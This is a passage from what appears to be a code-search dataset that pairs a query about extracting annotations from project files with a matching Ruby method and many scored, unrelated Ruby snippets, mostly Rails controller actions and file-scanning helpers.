"text": "def index\n @workstation_types = WorkstationType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @workstation_types }\n end\n end",
"title": ""
},
{
"docid": "a79d36c8bbc64eb7a1c671d83e1c6160",
"score": "0.5626597",
"text": "def index\n @accident_types = AccidentType.without_status :deleted, :archived\n @title = \"Accident Types\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @accident_types }\n end\n end",
"title": ""
},
{
"docid": "11c530c8ad8e440b9618d25e803b89b2",
"score": "0.562603",
"text": "def order_types\n url = \"#{@url}reference/order-types\"\n make_request(url)\n end",
"title": ""
},
{
"docid": "e703e2c12c6919c78b26d4cc07aecc1a",
"score": "0.5623359",
"text": "def index\n @personality_types = PersonalityType.all\n end",
"title": ""
},
{
"docid": "3d0bad233e303d7bbebd4390ff7e9ad7",
"score": "0.56209964",
"text": "def all_member_problem_types\n method = \"allMemberProblemTypes\"\n post_request(method)\n end",
"title": ""
},
{
"docid": "3d0bad233e303d7bbebd4390ff7e9ad7",
"score": "0.56209964",
"text": "def all_member_problem_types\n method = \"allMemberProblemTypes\"\n post_request(method)\n end",
"title": ""
},
{
"docid": "091c8df5e5ad8342d648171e39099300",
"score": "0.5620507",
"text": "def index\n @programme_types = ProgrammeType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programme_types }\n end\n end",
"title": ""
},
{
"docid": "17a908a2ac359f9df1df4d990d0a51ee",
"score": "0.5619096",
"text": "def index\n @trtypes = Trtype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trtypes }\n end\n end",
"title": ""
},
{
"docid": "f6c54432d7bfc8cf59488b16c0277b06",
"score": "0.5616955",
"text": "def index\n @usertypes = Usertype.all\n end",
"title": ""
},
{
"docid": "914b13e655156e9c76924243894edbb9",
"score": "0.56137526",
"text": "def index\n @resident_types = ResidentType.all\n end",
"title": ""
},
{
"docid": "56a7aac147c6c18fb461fb4f38788db0",
"score": "0.5610517",
"text": "def index\n @academic_rule_types = AcademicRuleType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @academic_rule_types }\n end\n end",
"title": ""
},
{
"docid": "6d99cee5a3ae4491c5af56430247bf0c",
"score": "0.5602934",
"text": "def available_types\n @available_types ||= School.with_permissions_to(:show).includes(:types).order('types.name').map(&:types).flatten\n end",
"title": ""
},
{
"docid": "54621fd87ce8247a6fbd1f963fca8b37",
"score": "0.5598384",
"text": "def type\n type = params[:type]\n @products = Product.where(\n Product.arel_table[:product_type]\n .lower\n .matches(\"%#{type.downcase}%\")\n )\n render json:@products\n end",
"title": ""
},
{
"docid": "722fdc2822a0e15efa9060d47f1e704b",
"score": "0.5597499",
"text": "def index\n @location_types = LocationType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @location_types }\n end\n end",
"title": ""
},
{
"docid": "12825fa6a8cd5a47862e0934955dc11f",
"score": "0.5595574",
"text": "def show\n @itinerary = current_user.itineraries.find(params[:id])\n render json: @itinerary\n end",
"title": ""
},
{
"docid": "ad0f679f243408983574606fbf7e573f",
"score": "0.5594521",
"text": "def index\n @budget_types = BudgetType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @budget_types }\n end\n end",
"title": ""
},
{
"docid": "6e2b50488e56334c66d4d865c2dd15b9",
"score": "0.558698",
"text": "def index\n @element_types = ElementType.all\n\n render json: @element_types\n end",
"title": ""
},
{
"docid": "f5835b33c8422848563c98b69b6d72c8",
"score": "0.55835545",
"text": "def users_types\n call_path = \"users/types\"\n request = \"\"\n data = build_post_data(request)\n perform_post(build_url(call_path), data)\n end",
"title": ""
},
{
"docid": "525acdac581f4f17c6a8b29ab29ab025",
"score": "0.55805653",
"text": "def index\n @diners = Diner.type_search(params[:type_search]).page(params[:page]).order('name ASC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @diners }\n end\n end",
"title": ""
},
{
"docid": "8bc53f58f0d3ef6ad72941f840edd240",
"score": "0.55790025",
"text": "def index\n @type_ioes = TypeIoe.all\n end",
"title": ""
},
{
"docid": "ca100e24a18be28262b4f18efb1eba3d",
"score": "0.5570024",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @customer_types }\n end\n end",
"title": ""
}
] |
2c606174cf2b4381ce831aab46fca911 | Iterate over all the files in the project and extract annotations from the those files. Returns the results as a hash for display. | [
{
"docid": "375c2048cff94765d991e42e6bcf9d35",
"score": "0.60053045",
"text": "def find\n results = {}\n rgxp = %r/(#{tag}):?\\s*(.*?)(?:\\s*(?:-?%>|\\*+\\/))?$/o\n\n extensions = config.notes.extensions.dup\n exclude = if config.notes.exclude.empty? then nil\n else Regexp.new(config.notes.exclude.join('|')) end\n\n config.gem.files.each do |fn|\n next if exclude && exclude =~ fn\n next unless extensions.include? File.extname(fn)\n results.update(extract_annotations_from(fn, rgxp))\n end\n\n results\n end",
"title": ""
}
] | [
{
"docid": "c0eb66b01713b052078585c43d6d332a",
"score": "0.65606236",
"text": "def extract_annotations_from(file, pattern); end",
"title": ""
},
{
"docid": "83111bfb3f73eae6cc43c952839cf3bc",
"score": "0.5905641",
"text": "def annotations\n @occurrences.map(&:annotations).flatten\n end",
"title": ""
},
{
"docid": "0e8125cadf5b2351da896ef0a423f1c3",
"score": "0.59053063",
"text": "def extract_annotations_from(file, pattern)\n lineno = 0\n result = File.readlines(file).inject([]) do |list, line|\n lineno += 1\n next list unless line =~ pattern\n list << Annotation.new(lineno, $1, $2)\n end\n result.empty? ? {} : { file => result }\n end",
"title": ""
},
{
"docid": "964e1e71686c293c84c626b870d1792c",
"score": "0.5904463",
"text": "def get_man_annotations\n\ttmp = Dir['original_dataset/man_anns/*'].select { |n| /\\d+/.match(n) }\n\tannotations = []\n\ttmp.each { |a| annotations.concat(Dir[\"#{a}/*\"].select { |n| /\\d+/.match(n) } ) }\n\tannotations\nend",
"title": ""
},
{
"docid": "b0d849e1ec674c427ec765e9a1a69fc0",
"score": "0.58297527",
"text": "def annotations\n all_annotations\n end",
"title": ""
},
{
"docid": "e72ae8cff6191af192cb9a0128a06565",
"score": "0.57937384",
"text": "def get_man_annotations\n\t\ttmp = Dir['original_dataset/man_anns/*'].select { |n| /\\d+/.match(n) }\n\t\tannotations = []\n\t\ttmp.each { |a| annotations.concat(Dir[\"#{a}/*\"].select { |n| /\\d+/.match(n) } ) }\n\t\tannotations\n\tend",
"title": ""
},
{
"docid": "17fa8ac58abdcb00587d38aa3fa21f88",
"score": "0.5727497",
"text": "def extract_annotations_from( file, pattern )\n lineno = 0\n result = File.readlines(file).inject([]) do |list, line|\n lineno += 1\n next list unless m = pattern.match(line)\n next list << Annotation.new(lineno, m[1], m[2]) unless id\n\n text = m[2]\n if text =~ @id_rgxp\n text.gsub!(@id_rgxp) {|str| Bones::Colors.colorize(str, :green)}\n list << Annotation.new(lineno, m[1], text)\n end\n list\n end\n result.empty? ? {} : { file => result }\n end",
"title": ""
},
{
"docid": "db13e8b8d4f4ef21bcc6310b3bdc2690",
"score": "0.5684933",
"text": "def analyze\r\n @counter = { File: 0 }\r\n\r\n files = get_filelist(@project)\r\n\r\n files.each_with_index do |file, i|\r\n item = get_item(file)\r\n next unless item\r\n\r\n @history += get_history_of_the_file(file, item)\r\n ppe_status(\r\n @verbose,\r\n \"Get history ...\",\r\n \"#{i + 1} / #{files.size} files\")\r\n end\r\n\r\n ppe_status(@verbose, \"\\n\")\r\n pps_object(\"history generated by get_history\", @history) if @verbose >= 2\r\n end",
"title": ""
},
{
"docid": "db13e8b8d4f4ef21bcc6310b3bdc2690",
"score": "0.5684933",
"text": "def analyze\r\n @counter = { File: 0 }\r\n\r\n files = get_filelist(@project)\r\n\r\n files.each_with_index do |file, i|\r\n item = get_item(file)\r\n next unless item\r\n\r\n @history += get_history_of_the_file(file, item)\r\n ppe_status(\r\n @verbose,\r\n \"Get history ...\",\r\n \"#{i + 1} / #{files.size} files\")\r\n end\r\n\r\n ppe_status(@verbose, \"\\n\")\r\n pps_object(\"history generated by get_history\", @history) if @verbose >= 2\r\n end",
"title": ""
},
{
"docid": "f653382bbfba767ccd83abca97a30382",
"score": "0.56231654",
"text": "def get_matching_files(proj)\n dupes_found = {}\n archive_sigs_to_check = []\n file_sigs_to_check = []\n files_this_project = []\n proj.project_archives.each{|pa|\n archive_sigs_to_check.push pa.signature\n pa.project_files.each{|pf|\n file_sigs_to_check.push pf.signature\n files_this_project.push pf # while we're at it -- will need later\n }\n }\n # uniquify and remove nil sigs\n archive_sigs_to_check = archive_sigs_to_check.uniq.reject{|la| la.nil?}\n file_sigs_to_check = file_sigs_to_check.uniq.reject{|la| la.nil?}\n \n # Check signatures\n archive_match = ProjectArchive.find_all_by_signature(archive_sigs_to_check)\n file_match = ProjectFile.find_all_by_signature(file_sigs_to_check)\n\n\n # Then, construct the hash. Go through the PA and PF again and match\n # Them up to sigs\n archive_match.each{|am|\n # Make the mini-array - separate out the Project\n archive_value = [am.project_id, am]\n # Find all archives in this project that match by signature\n proj.project_archives.find_all_by_signature(am.signature).each{|pa|\n # if am and pa are the same, skip it ; otherwise add even if\n # they're in the same project\n next if am.id == pa.id\n dupes_found[pa] = [] unless dupes_found[pa]\n dupes_found[pa].push archive_value\n }\n }\n \n file_match.each{|fm|\n # Make the mini-array - separate out the Project\n fmpa = fm.project_archive\n fmpap = fmpa.project unless fmpa.nil?\n fmpapid = fmpap.id unless fmpap.nil?\n next if fmpapid.nil? # If it doesn't have a project, just skip it\n file_value = [fmpapid, fm]\n # Find all files in this project that match by signature\n files_this_project.each{|ftp|\n if ftp.signature == fm.signature then\n # skip it if they're the same file\n next if ftp.id == fm.id\n dupes_found[ftp] = [] unless dupes_found[ftp]\n dupes_found[ftp].push file_value\n end\n }\n }\n dupes_found\n end",
"title": ""
},
{
"docid": "fd0ef92c4acab0d38b531809f4805508",
"score": "0.5619498",
"text": "def files\n metadata_content = JSON.pretty_generate json_value_for @index_object\n metadata_file = Google::Protobuf::Compiler::CodeGeneratorResponse::File.new(\n name: @metadata_filename,\n content: metadata_content\n )\n @snippet_files + [metadata_file]\n end",
"title": ""
},
{
"docid": "be95225ba966cfbe8c45e0eaa611114a",
"score": "0.56176347",
"text": "def result_files\n {\n is_author_de:,\n one_vs_rest: files_for(:one_vs_rest, include_labels: true),\n pairwise: files_for(:pairwise, include_labels: true)\n }.with_indifferent_access\n end",
"title": ""
},
{
"docid": "73ec9da72ebf44fd9a36b4279be9d7fb",
"score": "0.5596767",
"text": "def generate files\n setup_dictionary\n\n report = []\n\n RDoc::TopLevel.all_classes_and_modules.each do |mod|\n mod.comment_location.each do |comment, location|\n report.concat misspellings_for(mod.definition, comment, location)\n end\n\n mod.each_include do |incl|\n name = \"#{incl.parent.full_name}.include #{incl.name}\"\n\n report.concat misspellings_for(name, incl.comment, incl.file)\n end\n\n mod.each_constant do |const|\n # TODO add missing RDoc::Constant#full_name\n name = const.parent ? const.parent.full_name : '(unknown)'\n name = \"#{name}::#{const.name}\"\n\n report.concat misspellings_for(name, const.comment, const.file)\n end\n\n mod.each_attribute do |attr|\n name = \"#{attr.parent.full_name}.#{attr.definition} :#{attr.name}\"\n\n report.concat misspellings_for(name, attr.comment, attr.file)\n end\n\n mod.each_method do |meth|\n report.concat misspellings_for(meth.full_name, meth.comment, meth.file)\n end\n end\n\n RDoc::TopLevel.all_files.each do |file|\n report.concat misspellings_for(nil, file.comment, file)\n end\n\n if @misspellings.empty? then\n puts 'No misspellings found'\n else\n puts report.join \"\\n\"\n puts\n\n num_width = @misspellings.values.max.to_s.length\n order = @misspellings.sort_by do |word, count|\n [-count, word]\n end\n\n order = order.first 10 unless @aggregate_all\n\n puts 'Aggregate misspellings:'\n order.each do |word, count|\n puts \"%*d %s\" % [num_width, count, word]\n end\n\n total = @misspellings.values.inject :+\n\n puts\n puts \"Total misspellings: #{total}\"\n end\n end",
"title": ""
},
{
"docid": "da9cf76304ba485a0c1f3e4f196e4abb",
"score": "0.55951434",
"text": "def files\n analysis.files\n end",
"title": ""
},
{
"docid": "ecdbec5877953d778a7df3ccf737756b",
"score": "0.55444604",
"text": "def extract_files(files)\n return RubyLint::FileList.new.process(files)\n end",
"title": ""
},
{
"docid": "33e86ea5cb3ee4d173c882b183272a34",
"score": "0.5468564",
"text": "def scan_annotations(documents)\n # setup temporary language environment for reading annotations\n env = Lang::Environment.new.setup_new_package(\"PackageScanner\")\n\n # read documents\n documents.each do |doc|\n location = doc.is_a?(Location::DataLocation) ? doc : @package_location + doc\n Document.load(env, location, nil, nil, nil, doc)\n end\n\n # get annotations\n annotations = env.package_get(Lang::PackageExpr.new(package_id: env.current_package_id)).annotations\n name = find_package_info(annotations, \"PackageName\")\n editor = find_package_info(annotations, \"Editor\")\n tag = find_package_info(annotations, \"Tag\")\n parents = find_parents(annotations)\n\n return name, editor, tag, parents\n end",
"title": ""
},
{
"docid": "0e2af9d584f57139257b7fab85caec47",
"score": "0.5461591",
"text": "def hash_from_files\n @hash_from_files ||= Gaston::Parse.new(files, env).to_hash\n end",
"title": ""
},
{
"docid": "76ea5860cfcc9244f610377c26713154",
"score": "0.5459166",
"text": "def get_annotations (project, doc, options = {})\n if doc.present?\n hdenotations = doc.hdenotations(project)\n hrelations = doc.hrelations(project)\n hmodifications = doc.hmodifications(project)\n text = doc.body\n if (options[:encoding] == 'ascii')\n asciitext = get_ascii_text (text)\n text_alignment = TextAlignment::TextAlignment.new(text, asciitext)\n hdenotations = text_alignment.transform_denotations(hdenotations)\n # hdenotations = adjust_denotations(hdenotations, asciitext)\n text = asciitext\n end\n\n if (options[:discontinuous_annotation] == 'bag')\n # TODO: convert to hash representation\n hdenotations, hrelations = bag_denotations(hdenotations, hrelations)\n end\n\n annotations = Hash.new\n # if doc.sourcedb == 'PudMed'\n # annotations[:pmdoc_id] = doc.sourceid\n # elsif doc.sourcedb == 'PMC'\n # annotations[:pmcdoc_id] = doc.sourceid\n # annotations[:divid] = doc.serial\n # end\n \n # project\n annotations[:project] = project[:name] if project.present?\n\n # doc\n annotations[:sourcedb] = doc.sourcedb\n annotations[:sourceid] = doc.sourceid\n annotations[:division_id] = doc.serial\n annotations[:section] = doc.section\n annotations[:text] = text\n # doc.relational_models\n annotations[:denotations] = hdenotations if hdenotations\n annotations[:relations] = hrelations if hrelations\n annotations[:modifications] = hmodifications if hmodifications\n annotations\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "474e9eb76e330811b8939ad0bf2d5874",
"score": "0.5434724",
"text": "def load_local_annotations\n return Array::EMPTY_ARRAY if @ann_spec_hash.nil?\n # an annotated class has a hook entity id\n initialize_annotation_holder\n # build the annotations\n @ann_spec_hash.map { |name, opts| import_annotation(name, opts) }\n end",
"title": ""
},
{
"docid": "90b0c777c7b87bb4ad193ab7756fcd80",
"score": "0.54340714",
"text": "def get_annotations_xml(xmlfile)\n annos = Hash.new {|h,k| h[k] = Hash.new {|h,k| h[k] ={} } }\n @doc = Nokogiri::XML(File.open(xmlfile))\n geneid = (@doc.xpath(\"//xmlns:xref\"))[0]['id']\n\n (@doc.xpath(\"//xmlns:go-xref\")).each do |p|\n ## Descriptions might have [\"] characters that would results unexpected comma separation, so replace with [']\n info = p['category'] + '\",\"' + (p['name']).gsub(/\\\"/, \"'\")\n annos[geneid][p['db']][p['id']] = info\n end\n\n (@doc.xpath(\"//xmlns:signature\")).each do |p|\n library = \"\"\n p.children.each do |k|\n k.to_s =~ /signature-library-release.*library=\"(.*)\"/\n test = $1\n\t\t if test =~ /\\w/\n library = test\n end\n end\n info = \"\"\n next unless p['name'] =~ /\\w/\n if p['desc'] !~ /\\w/\n info = (p['name']).gsub(/\\\"/, \"'\")\n else\n info = (p['name']).gsub(/\\\"/, \"'\") + '\",\"' + (p['desc']).gsub(/\\\"/, \"'\")\n end\n annos[geneid][library][p['ac']] = info\n end\n \n annos\nend",
"title": ""
},
{
"docid": "52c0225e865f3e501e0323381165f787",
"score": "0.54146034",
"text": "def scan_reports(folder)\n files = Dir.glob(folder + '*.txt')\n counts = []\n files.each do |file|\n text = File.open(file, \"r\").read.gsub('\\n','') # clear newlines introduced by PDF\n search_results = Hash.new\n KEYWORD_SEARCHES.each do |search|\n col_name = search.source + (\"_mention\")\n search_results[col_name] = 0\n text.scan(search) {search_results[col_name] += 1}\n end\n corrupt_pdf = text.include?('?????????')\n puts file if corrupt_pdf \n counts.concat([{filename: file, corrupt_pdf: corrupt_pdf}.merge(search_results)])\n end\n puts \"Scanned #{files.count} reports.\"\n return counts\nend",
"title": ""
},
{
"docid": "692b29376330e45779ab29e30707fc7b",
"score": "0.5386123",
"text": "def index\n #@annotations is the variable containing all instances of the \"annotation.rb\" model passed to the annotation view \"index.html.slim\" (project_root/annotations) and is used to populate the page with information about each annotation using @annotations.each (an iterative loop).\n @annotations = Annotation.all\n\n respond_to do |format|\n format.html # index.html.slim\n format.json { render json: @annotations }\n end\n end",
"title": ""
},
{
"docid": "1619a92a9e0b670737f1bdf24b43482a",
"score": "0.537342",
"text": "def annotations_hash\n result = {}\n result.merge!('alternate values' => self.alternate_values) if self.has_alternate_values? && self.alternate_values.any?\n result.merge!('citations' => self.citations) if self.has_citations? && self.citations.any?\n result.merge!('data attributes' => self.data_attributes) if self.has_data_attributes? && self.data_attributes.any?\n result.merge!('identifiers' => self.identifiers) if self.has_identifiers? && self.identifiers.any?\n result.merge!('notes' => self.notes) if self.has_notes? && self.notes.any?\n result.merge!('tags' => self.tags) if self.has_tags? && self.tags.any?\n result\n end",
"title": ""
},
{
"docid": "5cfc43969bdc6d93531e381d7a508b73",
"score": "0.53637254",
"text": "def extract_translations\n\t\textracted = {}\n\t\t@extract_rules.each do |rule|\n\t\t\tpath = File.join(@search_path, rule[:files])\n\t\t\tlog \"Searching for #{path}\"\n\t\t\textracted[rule[:id]] ||= {}\n\n\t\t\tDir[path].each do |f|\n\t\t\t\tlog \"Processing #{f}\"\n\t\t\t\tcontent = File.read(f)\n\n\t\t\t\textracted[rule[:id]][f] ||= []\n\t\t\t\t# remove quotes from string\n\t\t\t\textracted[rule[:id]][f] += content.scan(rule[:regexp]).map do |arr|\n\t\t\t\t\t[arr[0], arr[1][1..-2]]\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t# transforms translations extracted with one_arg rule into hash\n\t\t# and result is template\n\t\textracted['one_arg'].reduce({}) do |result, (file, keys)|\n\t\t\t# add information about file, kind of metadata\n\t\t\tresult[file] = '_file_'\n\t\t\t# take only translation key\n\t\t\t# NOTE: duplicate keys in different files WILL BE deduplicated\n\t\t\t# also need Ruby 1.9.3+ to ordered hash (for file information)\n\t\t\t# key[0] is _ or s_ or D_\n\t\t\tkeys.each {|key| result[key[1]] = nil }\n\t\t\tresult\n\t\tend\n\tend",
"title": ""
},
{
"docid": "86166a7229127ef234d4072c2dcc0aed",
"score": "0.5351841",
"text": "def find_files\n result = {}\n targets = ['.'] # start simple\n targets.each do |target|\n order = []\n Find.find(target) do |f|\n in_mappings = f =~ self.mappings\n next if in_mappings.nil?\n next if test ?d, f\n next if f =~ /(swp|~|rej|orig)$/ # temporary/patch files\n next if f =~ /(\\.svn|\\.git)$/ # subversion/git\n next if f =~ /\\/\\.?#/ # Emacs autosave/cvs merge files\n\n filename = f.sub(/^\\.\\//, '')\n\n result[filename] = File.stat(filename).mtime rescue next\n end\n end\n \n self.files = result\n end",
"title": ""
},
{
"docid": "b7aeee5222193f37b008f9dfe68e692b",
"score": "0.53285956",
"text": "def input_files\n pattern = analyzer.files_to_copy.chomp.split(/(\\r\\n|\\r|\\n)/)\n case analyzer.type\n when :on_run\n run = self.analyzable\n matched = run.result_paths(pattern)\n matched.map {|path| [ path, path.relative_path_from(run.dir) ] }\n when :on_parameter_set\n ps = self.analyzable\n ps.runs.where(status: :finished).map do |run|\n matched = run.result_paths(pattern)\n matched.map {|path| [ path, path.relative_path_from(run.dir.join('..')) ] }\n end.inject([], :+)\n else\n raise \"not supported type\"\n end\n end",
"title": ""
},
{
"docid": "d82976cee73580b096d8aab837797685",
"score": "0.53213173",
"text": "def index\n @image_annotations = ImageAnnotation.all\n end",
"title": ""
},
{
"docid": "a9a9f3a498ac6bf7b8848c64bdee6fa4",
"score": "0.5318681",
"text": "def mapping\n @files.each do |f|\n File.open(f, \"r\") do |file|\n modified_time = @time_mapper.time_for_mapping(file)\n file_name_enhancement=modified_time.strftime(@file_pattern)\n target_folder_name = modified_time.strftime(@folder_pattern)\n\n dup = DuplicationFile.new(file) do |d|\n d.source = f\n d.target = target_folder_name\n d.new_name = modify_filename(f, file_name_enhancement)\n end\n\n @duplicates << dup\n end\n\n end\n @duplicates\n end",
"title": ""
},
{
"docid": "7d0982fb98e325a4108c5d906950311b",
"score": "0.53102946",
"text": "def get_annotation_grid\n return unless self.is_supported_image? || self.is_pdf?\n all_annotations = []\n self.annotations.each do |annot|\n if annot.is_a?(ImageAnnotation)\n extracted_coords = annot.extract_coords\n return nil if extracted_coords.nil?\n all_annotations.push(extracted_coords)\n end\n end\n all_annotations\n end",
"title": ""
},
{
"docid": "7d0982fb98e325a4108c5d906950311b",
"score": "0.53102946",
"text": "def get_annotation_grid\n return unless self.is_supported_image? || self.is_pdf?\n all_annotations = []\n self.annotations.each do |annot|\n if annot.is_a?(ImageAnnotation)\n extracted_coords = annot.extract_coords\n return nil if extracted_coords.nil?\n all_annotations.push(extracted_coords)\n end\n end\n all_annotations\n end",
"title": ""
},
{
"docid": "3660b02f46b55fc25d79260de0c321eb",
"score": "0.52823865",
"text": "def index\n @annotation_collections = AnnotationCollection.all\n end",
"title": ""
},
{
"docid": "c32f5ac45edaed03b096d6fd63edc334",
"score": "0.52793676",
"text": "def index_files(file_list)\n file_list.flat_map do |file_pattern|\n Dir.glob(file_pattern).map do |listed_file_path|\n count(File.read(listed_file_path, :encoding => \"UTF8-MAC\"))\n end\n end\n save_map\n end",
"title": ""
},
{
"docid": "dc6ee0c695601ce57d62007dfbd7b430",
"score": "0.5270731",
"text": "def annotations\n @annotations ||= {}\n end",
"title": ""
},
{
"docid": "a70ca2a1ec21515af1ecae638c979796",
"score": "0.52592",
"text": "def create_indexing_files\n puts \"\"\"\nPlease paste the Holberton project webpage.\n(Make sure to include advanced tasks and the\ncopyright notice at the bottom of the page)\"\"\"\n\n File.open(\".projectText\", \"w\") do\n |f|\n x = gets()\n while(x and !(x.match(/All rights reserved\\./)))\n f.puts(x)\n x = gets()\n end\n end\n\n File.open(\".projectFileMap\", \"w\") do\n |map|\n currentproject = 0\n File.open(\".projectText\",\"r\").each_line do\n |line|\n myMatch = line.match(/^(\\d+)\\. .*$/)\n currentproject = myMatch[1] if myMatch\n\n fileMatch = line.match(/\\s*File: (.*)$/)\n if fileMatch\n files = fileMatch[1].split(\", \")\n files. each do\n |file|\n map.puts currentproject.to_s + \":\" + file\n end\n end\n end\n end\n\n File.open(\".projectProtoMap\", \"w\") do\n |map|\n currentproject = 0\n File.open(\".projectText\",\"r\").each_line do\n |line|\n myMatch = line.match(/^(\\d+)\\. .*$/)\n currentproject = myMatch[1] if myMatch\n\n protoMatch = line.match(/\\s*Prototype: (.*;)$/)\n if protoMatch\n proto = protoMatch[1]\n map.puts currentproject.to_s + \":\" + proto\n end\n end\n end\n\n puts \"-------------------------------------------\"\n\nend",
"title": ""
},
{
"docid": "a7ad4d232e51a5dd18426aaf6e721874",
"score": "0.525167",
"text": "def find_dictionaries(files) # :doc:\n # Set defaults and format as array\n if files.nil?\n files = [:dict]\n else\n files = [files] unless files.is_a?(Array)\n end\n\n paths = []\n files.each do |file|\n file = file.to_s\n if file =~ /[\\/.]/\n full_path = File.expand_path(file)\n else\n full_path = File.expand_path(\"~/.konjac/#{file}.yml\")\n end\n \n unless File.basename(file) =~ /\\*/ || File.exists?(full_path)\n File.open(full_path, \"w\") do |file|\n file.puts \"--- []\"\n end\n end\n\n paths += Dir.glob(full_path)\n end\n paths.uniq\n end",
"title": ""
},
{
"docid": "f8f006b7f31bc89650ffabee5b7c28be",
"score": "0.5243903",
"text": "def analyze_projects\n @projects = Hash.new\n count = 0\n search_paths = Array.new\n search_paths << local_path+'modules/**/*.info'\n search_paths << local_path+'themes/**/*.info'\n search_paths << local_path+'profiles/*/*.info'\n search_paths << local_path+contrib_path+'modules/**/*.info'\n search_paths << local_path+contrib_path+'themes/**/*.info'\n search_paths.uniq! # contrib_path may be ''\n search_paths.each do |sp|\n Dir[sp.to_s].each do |p|\n pp = Drupid::PlatformProject.new(self, p)\n @projects[pp.name] = pp\n count += 1\n end\n end\n count\n end",
"title": ""
},
{
"docid": "de30ba6e2dd62f91d7ba257947755e48",
"score": "0.5243417",
"text": "def digests\n filenames.map {|f| File.basename(f).sub(/\\.xml$/, '') }\n end",
"title": ""
},
{
"docid": "4fe6f9a35c558c1feefbe154137a8bcf",
"score": "0.52424055",
"text": "def expected_annotations(job_configs, job_digests)\n instance_groups_to_examine = Hash.new { |h, k| h[k] = {} }\n job_configs.each_pair do |job_name, job_config|\n base_config = JSON.parse(File.read(job_config['base']))\n base_config.fetch('consumed_by', {}).values.each do |consumer_jobs|\n consumer_jobs.each do |consumer_job|\n digest_key = \"skiff-#{ENV['CONFIGGIN_VERSION_TAG']}-#{instance_group}-#{job_name}\"\n instance_groups_to_examine[consumer_job['role']][digest_key] = job_digests[job_name]\n end\n end\n end\n instance_groups_to_examine\n end",
"title": ""
},
{
"docid": "f58178f57eb76d5083cae1f546202ef4",
"score": "0.5241958",
"text": "def analyze_files(filenames)\n filenames.map { |fname| [fname, file_report(fname)] }\n end",
"title": ""
},
{
"docid": "968dc0d08b0020ead7a02b124c3f97ba",
"score": "0.5234334",
"text": "def allocation_annotations\n array = []\n allocations = Allocation.where(user_id: self.id, state: \"working\")\n\n for allocation in allocations\n content = Annotation.find(allocation.annotation_id)\n array.push(content)\n end\n\n return array\n end",
"title": ""
},
{
"docid": "486a2640b1bb25bbb861cc4408c805b9",
"score": "0.5231725",
"text": "def div_annotations_index\n begin\n @doc = Doc.find_by_sourcedb_and_sourceid_and_serial(params[:sourcedb], params[:sourceid], params[:divid])\n raise \"There is no such document.\" unless @doc.present?\n\n @span = params[:begin].present? ? {:begin => params[:begin].to_i, :end => params[:end].to_i} : nil\n\n @doc.set_ascii_body if params[:encoding] == 'ascii'\n @annotations = @doc.hannotations(nil, @span)\n\n tracks = @annotations[:tracks] || []\n @project_annotations_index = tracks.inject({}) {|index, track| index[track[:project]] = track; index}\n\n sort_order = sort_order(Project)\n @projects = @doc.projects.accessible(current_user).sort_by_params(sort_order)\n\n respond_to do |format|\n format.html {render 'index'}\n format.json {render json: @annotations}\n end\n\n rescue => e\n respond_to do |format|\n format.html {redirect_to (@project.present? ? project_docs_path(@project.name) : docs_path), notice: e.message}\n format.json {render json: {notice:e.message}, status: :unprocessable_entity}\n end\n end\n end",
"title": ""
},
{
"docid": "0779eb4c711d772ff54059da3f41fc1b",
"score": "0.52314967",
"text": "def files\n @files ||= begin\n key = \"sourceMapFiles\"\n out = env.manifest.data[key] ||= []\n unless Manifest.keep_keys.include?(key)\n Manifest.keep_keys << key\n end\n\n out\n end\n end",
"title": ""
},
{
"docid": "b6d78a972354c3c94af4488a5633e3db",
"score": "0.52286035",
"text": "def files # rubocop:disable Metrics/AbcSize, Metrics/MethodLength\n warn \"\\n\\n\\n\\n\\nInternal Refs: #{DateTime.now.strftime('%H:%M:%S')}\"\n internal_refs = locate_internal_refs\n #@files.each_with_index do |(identifier, x), i|\n @files.keys.each_with_index do |identifier, i|\n i.positive? && Array(@directives).include?(\"bare-after-first\") and\n @compile_options.merge!(bare: true)\n #if x[:attachment] then copy_file_to_dest(x)\n if @files.get(identifier,:attachment) then copy_file_to_dest(identifier)\n else\n #file, filename = @files.targetfile(x, read: true)\n file, filename = @files.targetfile_id(identifier, read: true)\n warn \"\\n\\n\\n\\n\\nProcess #{filename}: #{DateTime.now.strftime('%H:%M:%S')}\"\n collection_xml = update_xrefs(file, identifier, internal_refs)\n collection_filename = File.basename(filename, File.extname(filename))\n collection_xml_path = File.join(Dir.tmpdir,\n \"#{collection_filename}.xml\")\n File.write collection_xml_path, collection_xml, encoding: \"UTF-8\"\n file_compile(collection_xml_path, filename, identifier)\n FileUtils.rm(collection_xml_path)\n end\n end\n end",
"title": ""
},
{
"docid": "bba896acede1750b892f5abf8b66e84f",
"score": "0.5218599",
"text": "def index\n @annotations = Annotation.all\n end",
"title": ""
},
{
"docid": "c3994b2d6b5a37028aadea87fd4494d0",
"score": "0.52182513",
"text": "def collect_files\n BRIX11.log(3, '[%s] collecting project files', self)\n\n # collect and load recipes\n Dir.glob(\"**/*.#{AxciomaPC::RECIPE_FILE_EXT}\").each do |path|\n frcp = add_recipe_file(File.expand_path(path, root_path))\n frcp.load_recipes\n end\n BRIX11.log(3, '[%s] all recipes have been loaded', self)\n\n # setup recipes\n recipe_files.values.each { |frcp| frcp.setup }\n BRIX11.log(3, '[%s] setup of all user defined recipes is done', self)\n\n # collect and register all project IDL files referenced\n # from recipes (recursively analyzed)\n recipe_files.values.each { |frcp| frcp.collect_idl_files }\n BRIX11.log(3, '[%s] collected and registered all IDL files referenced from recipes', self)\n\n # verify all recipes and their (collected) IDL files\n recipe_files.values.each { |frcp| frcp.verify }\n BRIX11.log(3, '[%s] verification of all user defined recipes is done', self)\n\n # check all dependencies of all IDL contained in project recipes\n # => creates implicit recipes for unmanaged project IDL if possible\n # (checks IDL includes recursively)\n # => error otherwise\n recipe_files.values.each { |frcp| frcp.check_idl_dependencies }\n BRIX11.log(3, '[%s] checked all IDL dependencies for all user defined recipes', self)\n end",
"title": ""
},
{
"docid": "df5d16c196267483a360aab2ddc3e7fc",
"score": "0.5217821",
